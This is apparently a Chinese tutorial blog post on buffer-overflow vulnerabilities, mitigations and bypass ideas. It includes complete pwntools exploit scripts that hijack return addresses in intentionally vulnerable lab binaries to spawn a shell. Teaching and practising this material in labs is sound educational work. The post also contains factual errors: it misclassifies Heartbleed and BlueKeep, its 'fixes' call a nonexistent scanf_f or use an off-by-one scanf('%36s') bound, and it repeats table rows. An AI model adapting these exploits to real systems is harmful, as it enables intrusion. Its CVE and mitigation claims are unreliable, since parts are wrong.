什么是溢出
程序向内存中写入超出预定范围的数据,导致程序执行异常或漏洞。
缓冲区溢出是指程序向固定长度缓冲区写入超出其容量的数据,导致相邻内存被覆盖的漏洞。
char str[4]; // 预定4字节空间
strcpy(str,"ABCDE"); // 写入5个字节 溢出!内存模型
- 栈:函数调用时自动分配,溢出常覆盖返回地址
- 堆:动态申请( malloc ),溢出常破坏堆块元数据

溢出与内存管理的关系
溢出本质是对内存架构的缺陷利用:它可以直接改写地址,改变返回地址,指针,或定义的结构。
溢出的分类与原理
类型
- 栈溢出:局部数组写超,覆盖返回地址
- 堆溢出:通过内存写超,改写
chunk metadata - 数值溢出:计算不合理导致指针错误/过小分配
- 符号溢出:改写指针或表形字指针
栈溢出原理
栈结构:局部变量 -> 保存的 EBP -> 返回地址 (EIP)
演化模式:把 ret 地址改成 shellcode / ROP 链首地址
堆溢出原理
chunk 结构:包含 size, fd, bkoff-by-one:类型也可改 size 最低位unlink 攻击:改写 fd/bk 进行堆内写入
数值溢出
举例: malloc(width * height * 4) 当两者特大,超越 4G 后结果是 0
引发无还原的数据分配,导致无控分配空间
对比总结
| 类型 | 触发场景 | 经典漏洞 |
|---|---|---|
| 栈溢出 | 局部变量覆盖返回地址 | CVE-2014-0160心脏滴血 |
| 堆溢出 | 破坏堆块管理结构(如 chunk ) | CVE-2012-0769 Flash |
| 整数溢出 | 数值计算超出类型范围 | CVE-2019-0708蓝屏 |
| 格式化串溢出 | printf(user_input) | CTF 高频考题 |
溢出的表现与危害
表现
- 栈溢出:
Segmentation fault - 堆溢出:
malloc(): memory corruption - 整数溢出:程序逻辑错乱(如负数变超大)
危害
- 任意代码执行:攻击者利用溢出修改返回地址,执行恶意代码。
- 权限提升:通过栈溢出攻击获取高权限操作系统资源。
- 信息泄露:覆盖特定内存区域,窃取敏感数据。
- 拒绝服务:利用溢出导致程序崩溃,造成拒绝服务(
DoS)攻击。
溢出漏洞的防护技术与绕过思路
原理与对应编译参数
| 防护技术 | 原理简述 | GCC 编译参数 | 说明 |
|---|---|---|---|
| Stack Canaries (栈保护) | 在返回地址前插入一个随机“金丝雀” 值,程序返回时检查该值是否被修改,若改变则立即终止程序。 | -fstack-protector / -fstack-protector-all | -fstack-protector 保护带缓冲区的函 数;-all为强制保护所有函数。 |
| NX(Non- eXecutable)/DEP | 标记栈、堆等内存区域为不可执行,即使数据被写入,也不能执行。 | -z noexecstack | 默认在现代系统中启用,部分旧程序需显式添加 |
| ASLR(地址空间布 局随机化) | 系统每次加载程序时将堆、栈、库、PIE 段地址随机化,增加攻击者预测难度。 | 无需编译参数,OS级启用:/proc/sys/kernel/randomize_va_space | 值为 2 表示全启用;攻击前常需泄露地址(leak)。 |
| RELRO(重定位表 只读保护) | 将.got 表设置为只读,防止运行时被篡改函数指针。 | -z relro(Partial) -z relro -z now (Full) | Partial RELRO只保护一部分;Full强制立即解析符号。 |
| PIE(Position Independent Executable) | 将整个程序编译为位置无关,使.text 和全局变量也可随机加载。 | -fPIE -pie | PIE程序执行地址不固定,结合ASLR效果最佳。 |
绕过思路
| 防护技术 | 绕过思路 | 补充说明 |
|---|---|---|
| Stack Canaries | 通常通过 信息泄露 手段(如格式化字符串)读取栈上的 canary 值,再在 payload 中“保持原值”以绕过校验。 | 如果栈不可读(不可泄露),Canary 成为极强保护。 |
| NX / DEP | 不能执行shellcode,转而使用ROP(Return_x0002_Oriented Programming)构造控制流,调用系统函数或构造系统调用。 | NX 是对 shellcode 类攻击的直接遏制,但对 ROP 无效。 |
| ASLR | 需要提前通过漏洞 泄露 libc 地址或程序段地址,再计算偏移构造完整 payload。 | PIE 开启时程序地址也随机化;关闭 PIE 时 main 固定在0x0804xxxx 等段。 |
| RELRO | 若启用 Full RELRO,则 .got 表不可写,攻击者不能改写函数地址,只能寻求其他可写目标(如__free_hook 等)或走 ROP。 | Partial RELRO 仍可改写 GOT表;实际攻击前需检查RELRO 类型。 |
| PIE | 若开启 PIE,则 .text 段地址每次启动变化,需配合泄露程序基地址的方式重定 payload。 | 若使用 -no-pie ,程序地址固定,攻击构造大大简化。 |
C/C++ 当中可能造成溢出的危险函数
| 函数名 | 危险原因 | 替代建议 |
|---|---|---|
| strcpy | 无边界检查,可能拷贝超过目标缓冲区长度 | strncpy , strlcpy (Linux) |
| strcat | 同上,无检查目标缓冲区剩余空间 | strncat , strlcat |
| sprintf | 无边界,容易溢出缓冲区 | snprintf |
| memcpy | 无检查目标缓冲区大小 | memmove + 检查长度 |
| memset | 参数错误可能导致覆盖敏感内存区域 | 使用封装过的安全函数 |
| bcopy | 与 memcpy 类似,兼容旧系统但危险 | memmove |
| memcpy | 无检查目标缓冲区大小 | memmove + 检查长度 |
| memset | 参数错误可能导致覆盖敏感内存区域 | 使用封装过的安全函数 |
| bcopy | 与 memcpy 类似,兼容旧系统但危险 | memmove |
溢出攻击防御思路
编程安全技巧
- 避免使用高危函数:
- 在 C/C++ 编程中,某些标准库函数因缺乏边界控制或格式校验而成为攻击者的首选入口,应避免使用,比如上面列举的可能存在溢出攻击的函数
- 内存操作安全习惯:
- 所有字符串操作需显式指定目标缓冲区大小
- 所有输入操作需校验长度、类型
- 指针使用前需判断是否为 NULL
- 使用封装安全函数替代裸 API,例如
C11中的strncpy_s等
动态内存检查
此处仅作介绍
| 工具名称 | 平台 | 功能特点 |
|---|---|---|
| Valgrind | Linux | 动态内存分析工具,可检测越界、泄露等问题 |
| ASan | Linux / Mac / Windows(Clang/GCC) | AddressSanitizer,是现代编译器集成的高性能检测工具 |
| UBSan | 多平台 | UndefinedBehaviorSanitizer,检查未定义行为 |
| Dr.Memory | Windows | 类似 Valgrind,适合 Windows 环境使用 |
| Electric Fence | Linux | 简单粗暴的内存越界检测,适合嵌入式小项目 |
| Visual Studio / MSVC内存调试器 | Windows | 集成化图形内存调试支持 |
| gdb + watchpoints | GNU/Linux | 可通过调试器设置读写断点监控内存访问 |
编译时防护
| 编译参数 | 含义及用途 |
|---|---|
| -fstack-protector | 启用栈保护机制,在返回地址前插入 canary 值检测栈溢出 |
| -fstack-protector-strong | 更强的保护,推荐默认开启 |
| -fPIE -pie | 启用 PIE(Position Independent Executable),配合 ASLR 提 升地址随机性 |
| -no-pie | 禁用 PIE,使程序加载地址固定,调试时常用但风险高 |
| -z noexecstack | 禁止栈执行权限,启用 NX(不可执行栈) |
| -z relro | 启用 GOT/PLT 表的写保护(部分保护) |
| -z now | 配合 -z relro 实现 FULL RELRO(立即绑定 GOT 表) |
| -D_FORTIFY_SOURCE=2 | 对字符串/内存类函数调用添加运行时检查,依赖 -O2 优化级别 |
| -Wformat -Wformat- security | 检查格式化字符串漏洞,强烈建议开启 |
| -fsanitize=address | 编译时开启 AddressSanitizer 动态检测,适合开发调试阶段使用 |
| -m32 或 -m64 | 编译为 32 位或 64 位目标架构 |
栈溢出实例分析
x86溢出示例
#include <stdio.h>
#include <stdlib.h>
void hack() {
printf("PWN! I Get Your System!!\n");
system("sh");
}
void SayHello() {
char name[0x20];
printf("Enter your name:");
fflush(stdout);
scanf("%s", name);
printf("Hello %s!\n", name);
}
int main() {
SayHello();
}
// gcc -m32 -fno-stack-protector -no-pie -z execstack test32.c -o test32-m32: 简化架构。-fno-stack-protector: 移除Canaries保护。-no-pie: 固定函数地址。-z execstack: 允许在栈上执行代码(为更高级利用铺路)。
分析
很明显,我们需要让函数调用到这个hack函数,而主程序代码中完全不涉及这个函数的相关代码,但是我们可以发现出现了一个C/C++中的危险函数scanf,这个函数是不存在边界检查的,当我们输入超过name数组的长度时就会爆出栈溢出的错误

但是正常思维下,我们一般认为输入32个(0x20==32)就会报错,因为字符串末尾还有个\0结尾,但是这边反而没有出错

反而一直到输入44才会报错

这是因为name数组(32字节)存在4字节padding填充(因为x86栈帧要对齐4字节),然后还存在EBX(4字节)和EBP(4字节)地址,最后才是RET(4字节)地址,所以当我们填充44字节就会影响到RET地址从而影响EIP跳转到未知地址导致栈报错
- 内存访问效率:x86 架构对 4 字节对齐访问优化
- 数据结构对齐:int、pointer 等均为 4 字节
- ABI规范:System V ABI 要求栈帧对齐

而我们的目标:就是返回的时候跳转到hack函数,也就是RET地址需要是hack函数的地址,RET会影响EIP的值,导致下一步执行hack函数
EXP
分析结束之后,我们就知道怎么使用pwntools来解决这个栈溢出问题
#!/usr/bin/env python3
from pwn import *
# local debug
elf = ELF('./test32')
log.info(f"Loaded the elf: {elf}")
try:
hack_addr = elf.symbols['hack']
log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")
# name[0x20] == 32
# padding == 4
# EBX == 4
# EBP == 4
# RET == 4 replace hack_addr
offect_to_ret = 44
payload = b'A' * offect_to_ret
# using x86 format to pack the addr
payload += p32(hack_addr)
log.info(f"Payload created: {payload}")
# PWN the binary
p = process('./test32')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.send(payload)
log.info("Payload sent. Switching to interactive mode...")
p.sendline()
p.recvline()
s = p.recvline().decode()
if "PWN" in s:
log.success("PWN the binary!!!!!")
else:
log.error("Failed.")
p.interactive()x64溢出示例
#include <stdio.h>
#include <stdlib.h>
void hack(){
printf("PWN!I Get Your System!!\r\n");
system("/bin/sh");
}
void SayHello(){
char name[0x20];
printf("Enter your name:");
fflush(stdout);
scanf("%s",name);
printf("Hello %s!\r\n",name);
}
int main(){
SayHello();
}
// gcc -m64 -fno-stack-protector -no-pie -z execstack test64.c -o test64分析
x64程序每次压栈是传递8字节数据的此处分析程序其实很快就能发现他是先push RBP占位8字节,然后再开辟name的0x20,所以计算下来应该是40位
#!/usr/bin/env python3
from pwn import *
# local debug
elf = ELF('./test64')
log.info(f"Loaded the elf: {elf}")
try:
hack_addr = elf.symbols['hack']
log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")
# name[0x20] == 32
# No padding
# EBP == 8
# RET == 8 replace hack_addr
offset_to_ret = 32 + 8
payload = b'A' * offset_to_ret
# using x64 format to pack the addr
payload += p64(hack_addr)
log.info(f"Payload created: {payload}")
# PWN the binary
p = process('./test64')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.sendline(payload)
log.info("Payload sent. Switching to interactive mode...")
s = p.recv(1024).decode()
log.info(s)
if "PWN" in s:
log.info(f"recv the message: {s}")
log.success("PWN the binary!!!!!")
else:
log.error("Failed.")
p.interactive()但是当我们运行之后就会发现,出现报错,无法拿到shell

根据回显的信息,我们基本可以确定是system函数执行时出现了问题,所以查了下相关资料,发现system函数必须在堆栈对齐的情况下才会正常运行,那我们就观察一下我们的堆栈是否正常
64位ubuntu18以上系统调用system函数时是需要栈对齐的。具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐
参考文章:CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎
因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。
既然我们需要16字节对齐 也就是在调用system时(其实是执行movaps时) RSP(观察参数)指向的地址应该是0结尾的。
断点调试可以发现,我们输入48字节的时候,这时候RSP是以8结尾的,就没有对齐,所以就会报段错误

为了让它对齐得让它多执行一个RET指令,输入如下指令找一个RET
objdump -d test64 | grep -A 1 "ret"
此时两次返回,就肯定能对齐了,因为64位程序不是8就是0
#!/usr/bin/env python3
from pwn import *
# local debug
elf = ELF('./test64')
log.info(f"Loaded the elf: {elf}")
try:
hack_addr = elf.symbols['hack']
ret_addr = 0x400526
log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")
# name[0x20] == 32
# No padding
# EBP == 8
# RET == 8 replace hack_addr
offset_to_ret = 32 + 8
payload = b'A' * offset_to_ret
# using x64 format to pack the addr
payload += p64(ret_addr)
payload += p64(hack_addr)
log.info(f"Payload created: {payload}")
# PWN the binary
p = process('./test64')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.sendline(payload)
log.info("Payload sent. Switching to interactive mode...")
s = p.recv(1024).decode()
log.info(s)
if "PWN" in s:
log.info(f"recv the message: {s}")
log.success("PWN the binary!!!!!")
else:
log.error("Failed.")
p.interactive()
同样的,如果你通过gdb去修改也可以实现getshell

小测试
#include <stdio.h>
#include <stdlib.h>
void hack(){
printf("PWN!I Get Your System!!\r\n");
system("/bin/sh");
}
void SayHello(){
char name[36];
printf("Enter your name:");
fflush(stdout);
scanf("%s",name);
printf("Hello %s!\r\n",name);
}
int main(){
SayHello();
}
// gcc -m64 -fno-stack-protector -no-pie -z execstack test_pro.c -o test_pro依旧gdb分析一波,看看name数组被分配多大空间

name数组被分配了0x30,那就是48,再看看到hack函数的时候会不会出现栈帧没有对齐的情况
当运行到system函数之前时,栈顶末尾并非为0,也就是说栈帧没有对齐,所以出现了直接退出的情况

知道栈帧没有对齐的话,我们就知道怎么写exp了,就是找到一个retq补上即可
EXP
#!/usr/bin/env python3
from pwn import *
# local debug
elf = ELF('./test_pro')
log.info(f"Loaded the elf: {elf}")
try:
hack_addr = elf.symbols['hack']
ret_addr = 0x4006f0
log.info(f"Find the hack function address: {hack_addr}")
except KeyError:
log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?")
# name[36] == 36
# padding == 12
# EBP == 8
# RET == 8 replace hack_addr
offset_to_ret = 48 + 8
payload = b'A' * offset_to_ret
# using x64 format to pack the addr
payload += p64(ret_addr)
payload += p64(hack_addr)
log.info(f"Payload created: {payload}")
# PWN the binary
p = process('./test_pro')
recv = p.recvuntil(b":")
log.info(f"The binary's hint: {recv.decode()}")
p.sendline(payload)
log.info("Payload sent. Switching to interactive mode...")
s = p.recv(1024)
log.info(s)
if b"PWN" in s:
log.info(f"recv the message: {s}")
log.success("PWN the binary!!!!!")
else:
log.error("Failed.")
p.interactive()
防御手段
在上面的样例中我们知道scanf这个函数没有做边界检查,所以会导致栈溢出,当我们在编写代码的时候替换成存在边界检查的函数或者做一些修改就可以简单的防护栈溢出
比如:
#include <stdio.h>
#include <stdlib.h>
void hack(){
printf("PWN!I Get Your System!!\r\n");
system("/bin/sh");
}
void SayHello(){
char name[36];
printf("Enter your name:");
fflush(stdout);
scanf_f("%s",name);
printf("Hello %s!\r\n",name);
}
int main(){
SayHello();
}以及
#include <stdio.h>
#include <stdlib.h>
void hack(){
printf("PWN!I Get Your System!!\r\n");
system("/bin/sh");
}
void SayHello(){
char name[36];
printf("Enter your name:");
fflush(stdout);
scanf("%36s",name);
printf("Hello %s!\r\n",name);
}
int main(){
SayHello();
}
可以看到效果就是我输入40个A,但是它只覆盖了36个,限制死了边界,我们就没法进行栈溢出了
评论 (0)